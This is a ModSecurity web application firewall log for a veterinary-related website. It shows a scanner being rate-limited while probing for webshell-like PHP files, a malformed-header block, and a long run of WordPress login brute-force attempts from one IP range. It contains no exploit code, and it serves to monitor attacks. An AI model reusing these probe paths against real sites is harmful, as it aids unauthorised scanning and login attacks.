[Sat Dec 27 04:52:47.277357 2025] [:error] [pid 32193:tid 32251] [client 4.189.160.210:22974] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ay.php"] [unique_id "aU71nxgw0eCOc2qYqaIHaQAAAIE"]
[Sat Dec 27 04:52:48.342917 2025] [:error] [pid 32193:tid 32263] [client 4.189.160.210:18591] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ay.php"] [unique_id "aU71oBgw0eCOc2qYqaIHbgAAAI0"]
[Sat Dec 27 04:52:49.661019 2025] [:error] [pid 32192:tid 32236] [client 4.189.160.210:48866] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aU71oS_q0VFe066lbk-x0wAAAE0"]
[Sat Dec 27 04:52:54.060843 2025] [:error] [pid 32192:tid 32246] [client 4.189.160.210:42677] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aU71pi_q0VFe066lbk-x6AAAAFc"]
[Sat Dec 27 04:52:57.222844 2025] [:error] [pid 32193:tid 32263] [client 4.189.160.210:25843] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aU71qRgw0eCOc2qYqaIHkwAAAI0"]
[Sat Dec 27 04:52:59.965471 2025] [:error] [pid 32278:tid 32298] [client 4.189.160.210:43431] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aU71q3-IfCN2Cy9GcchuuQAAANI"]
[Sat Dec 27 04:53:01.881335 2025] [:error] [pid 32191:tid 32203] [client 4.189.160.210:42647] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "aU71rbPNtMgrjVCHIdFyugAAAAg"]
[Sat Dec 27 04:53:07.848248 2025] [:error] [pid 32278:tid 32304] [client 4.189.160.210:23908] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "aU71s3-IfCN2Cy9Gcchu4QAAANg"]
[Sat Dec 27 04:53:09.093967 2025] [:error] [pid 32192:tid 32245] [client 4.189.160.210:32612] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "aU71tS_q0VFe066lbk-x-QAAAFY"]
[Sat Dec 27 04:53:10.343874 2025] [:error] [pid 32193:tid 32270] [client 4.189.160.210:32580] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "aU71thgw0eCOc2qYqaIHpwAAAJQ"]
[Sat Dec 27 04:53:11.521922 2025] [:error] [pid 32193:tid 32251] [client 4.189.160.210:25455] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsa.php"] [unique_id "aU71txgw0eCOc2qYqaIHqAAAAIE"]
[Sat Dec 27 04:53:12.666646 2025] [:error] [pid 32192:tid 32244] [client 4.189.160.210:20889] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsa.php"] [unique_id "aU71uC_q0VFe066lbk-yAgAAAFU"]
[Sat Dec 27 04:53:13.960842 2025] [:error] [pid 32193:tid 32250] [client 4.189.160.210:23884] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsa.php"] [unique_id "aU71uRgw0eCOc2qYqaIHqwAAAIA"]
[Sat Dec 27 04:53:18.213457 2025] [:error] [pid 32193:tid 32255] [client 4.189.160.210:25420] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsa.php"] [unique_id "aU71vhgw0eCOc2qYqaIHvAAAAIU"]
[Sat Dec 27 04:53:22.901680 2025] [:error] [pid 32191:tid 32210] [client 4.189.160.210:37922] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolv.php"] [unique_id "aU71wrPNtMgrjVCHIdFy1gAAAA8"]
[Sat Dec 27 04:53:26.802103 2025] [:error] [pid 32192:tid 32229] [client 4.189.160.210:37897] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolv.php"] [unique_id "aU71xi_q0VFe066lbk-yIAAAAEY"]
[Sat Dec 27 04:53:30.260111 2025] [:error] [pid 32191:tid 32212] [client 4.189.160.210:25926] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolv.php"] [unique_id "aU71yrPNtMgrjVCHIdFy4gAAABE"]
[Sat Dec 27 04:53:31.025657 2025] [:error] [pid 32278:tid 32295] [client 4.189.160.210:37124] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolv.php"] [unique_id "aU71y3-IfCN2Cy9GcchvDAAAAM8"]
[Sat Dec 27 04:53:32.042813 2025] [:error] [pid 32191:tid 32206] [client 4.189.160.210:37157] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ea3f.php"] [unique_id "aU71zLPNtMgrjVCHIdFy5gAAAAs"]
[Sat Dec 27 07:40:14.106575 2025] [:error] [pid 32193:tid 32254] [client 106.227.49.113:43809] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aU8c3hgw0eCOc2qYqaIydwAAAIQ"]
[Sat Dec 27 17:44:23.082119 2025] [:error] [pid 32193:tid 32267] [client 193.37.33.30:59495] [client 193.37.33.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU-qdxgw0eCOc2qYqaKV0AAAAJE"]
[Sat Dec 27 18:02:23.788013 2025] [:error] [pid 3114:tid 3123] [client 193.37.33.54:24857] [client 193.37.33.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.54, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU-ur2JGrIkLOdbPpJiQ9QAAAYU"]
[Sat Dec 27 18:08:40.987945 2025] [:error] [pid 32278:tid 32297] [client 193.37.33.52:47265] [client 193.37.33.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.52, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU-wKH-IfCN2Cy9GccgPsAAAANE"]
[Sat Dec 27 18:14:42.065256 2025] [:error] [pid 45373:tid 45398] [client 193.37.33.15:35291] [client 193.37.33.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.15, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU-xki7p_wFcbpu46HVhxwAAAVc"]
[Sat Dec 27 18:20:42.286208 2025] [:error] [pid 32192:tid 32242] [client 193.37.33.34:50999] [client 193.37.33.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.34, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU-y-i_q0VFe066lbk9JjAAAAFM"]
[Sat Dec 27 18:26:43.394754 2025] [:error] [pid 32278:tid 32300] [client 193.37.33.38:62483] [client 193.37.33.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU-0Y3-IfCN2Cy9GccgTawAAANQ"]
[Sat Dec 27 18:32:35.823759 2025] [:error] [pid 31933:tid 31954] [client 193.37.33.35:37283] [client 193.37.33.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU-1w8Gr1WIJr39uqarIMQAAAdM"]
[Sat Dec 27 18:38:42.798127 2025] [:error] [pid 32191:tid 32199] [client 193.37.33.39:49835] [client 193.37.33.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU-3MrPNtMgrjVCHIdEh-AAAAAQ"]
[Sat Dec 27 18:44:45.798061 2025] [:error] [pid 45373:tid 45380] [client 193.37.33.43:45153] [client 193.37.33.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.43, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU-4nS7p_wFcbpu46HVnVgAAAUU"]
[Sat Dec 27 18:50:50.359716 2025] [:error] [pid 45373:tid 45392] [client 193.37.33.42:64987] [client 193.37.33.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.42, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU-6Ci7p_wFcbpu46HVorQAAAVE"]
[Sat Dec 27 18:56:55.353938 2025] [:error] [pid 31933:tid 31940] [client 193.37.33.33:54075] [client 193.37.33.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.33, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU-7d8Gr1WIJr39uqarNFQAAAcU"]
[Sat Dec 27 19:03:03.746324 2025] [:error] [pid 32278:tid 32285] [client 193.37.33.28:63237] [client 193.37.33.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.28, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU-853-IfCN2Cy9GccgY_AAAAMU"]
[Sat Dec 27 19:09:29.383106 2025] [:error] [pid 31933:tid 31951] [client 193.37.33.31:44347] [client 193.37.33.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.31, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU--acGr1WIJr39uqarQsQAAAdA"]
[Sat Dec 27 19:15:39.377365 2025] [:error] [pid 32278:tid 32302] [client 193.37.33.49:52747] [client 193.37.33.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU-_23-IfCN2Cy9GccgbSAAAANY"]
[Sat Dec 27 19:27:52.988993 2025] [:error] [pid 45373:tid 45377] [client 193.37.33.42:36083] [client 193.37.33.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.42, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_CuC7p_wFcbpu46HVwhQAAAUI"]
[Sat Dec 27 19:34:03.940410 2025] [:error] [pid 31933:tid 31958] [client 193.37.33.40:43639] [client 193.37.33.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.40, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_EK8Gr1WIJr39uqarX4wAAAdc"]
[Sat Dec 27 19:40:19.771755 2025] [:error] [pid 32192:tid 32228] [client 193.37.33.50:33353] [client 193.37.33.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.50, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_Foy_q0VFe066lbk9UqAAAAEU"]
[Sat Dec 27 19:46:27.388093 2025] [:error] [pid 45373:tid 45388] [client 193.37.33.18:24229] [client 193.37.33.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.18, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_HEy7p_wFcbpu46HV0nAAAAU0"]
[Sat Dec 27 19:52:43.506865 2025] [:error] [pid 45373:tid 45398] [client 193.37.33.31:54301] [client 193.37.33.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.31, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_Iiy7p_wFcbpu46HV14QAAAVc"]
[Sat Dec 27 19:58:58.310804 2025] [:error] [pid 15939:tid 15942] [client 193.37.33.234:22657] [client 193.37.33.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.234, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_KAuZ7qdnFxikanMLfUAAAAQE"]
[Sat Dec 27 20:05:13.049118 2025] [:error] [pid 15939:tid 15953] [client 193.37.33.38:57729] [client 193.37.33.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_LeeZ7qdnFxikanMLg8QAAAQw"]
[Sat Dec 27 20:11:43.687769 2025] [:error] [pid 15939:tid 15962] [client 193.37.33.19:53917] [client 193.37.33.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_M_-Z7qdnFxikanMLh2wAAARU"]
[Sat Dec 27 20:17:54.455047 2025] [:error] [pid 31933:tid 31943] [client 193.37.33.53:37941] [client 193.37.33.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.53, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_OcsGr1WIJr39uqarkoQAAAcg"]
[Sat Dec 27 20:24:03.723378 2025] [:error] [pid 32191:tid 32197] [client 193.37.33.16:64455] [client 193.37.33.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.16, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_P47PNtMgrjVCHIdExeQAAAAI"]
[Sat Dec 27 20:30:24.991274 2025] [:error] [pid 15939:tid 15942] [client 193.37.33.30:20461] [client 193.37.33.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_RYOZ7qdnFxikanMLlEgAAAQE"]
[Sat Dec 27 20:36:44.808232 2025] [:error] [pid 32191:tid 32206] [client 193.37.33.46:31865] [client 193.37.33.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_S3LPNtMgrjVCHIdEzbwAAAAs"]
[Sat Dec 27 20:43:13.833819 2025] [:error] [pid 15939:tid 15941] [client 193.37.33.41:46961] [client 193.37.33.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.41, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_UYeZ7qdnFxikanMLnHAAAAQA"]
[Sat Dec 27 20:49:40.604749 2025] [:error] [pid 3114:tid 3126] [client 193.37.33.37:64923] [client 193.37.33.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.37, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_V5GJGrIkLOdbPpJitJwAAAYg"]
[Sat Dec 27 20:56:01.318952 2025] [:error] [pid 15939:tid 15956] [client 193.37.33.45:58695] [client 193.37.33.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.45, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_XYeZ7qdnFxikanMLpQQAAAQ8"]
[Sat Dec 27 21:02:37.019611 2025] [:error] [pid 31933:tid 31935] [client 193.37.33.16:57845] [client 193.37.33.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.16, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_Y7cGr1WIJr39uqarwTwAAAcA"]
[Sat Dec 27 21:09:11.966182 2025] [:error] [pid 32278:tid 32301] [client 193.37.33.37:45941] [client 193.37.33.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.37, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_ad3-IfCN2Cy9GccgxywAAANU"]
[Sat Dec 27 21:15:46.298132 2025] [:error] [pid 31933:tid 31937] [client 193.37.33.35:50085] [client 193.37.33.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_cAsGr1WIJr39uqarzKwAAAcI"]
[Sat Dec 27 21:30:50.579435 2025] [:error] [pid 32278:tid 32286] [client 193.37.33.7:20047] [client 193.37.33.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_fin-IfCN2Cy9Gccg1SgAAAMY"]
[Sat Dec 27 21:37:19.198930 2025] [:error] [pid 45373:tid 45379] [client 193.37.33.39:28349] [client 193.37.33.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_hDy7p_wFcbpu46HWKWAAAAUQ"]
[Sat Dec 27 21:43:43.975220 2025] [:error] [pid 32193:tid 32251] [client 193.37.33.35:61433] [client 193.37.33.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_ijxgw0eCOc2qYqaK6NQAAAIE"]
[Sat Dec 27 21:50:10.649870 2025] [:error] [pid 45373:tid 45397] [client 193.37.33.46:25427] [client 193.37.33.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_kEi7p_wFcbpu46HWNOQAAAVY"]
[Sat Dec 27 21:56:47.265786 2025] [:error] [pid 32191:tid 32212] [client 193.37.33.41:51885] [client 193.37.33.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.41, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_ln7PNtMgrjVCHIdFBqAAAABE"]
[Sat Dec 27 22:03:40.895590 2025] [:error] [pid 32192:tid 32239] [client 193.37.33.22:23899] [client 193.37.33.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.22, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_nPC_q0VFe066lbk9oDgAAAFA"]
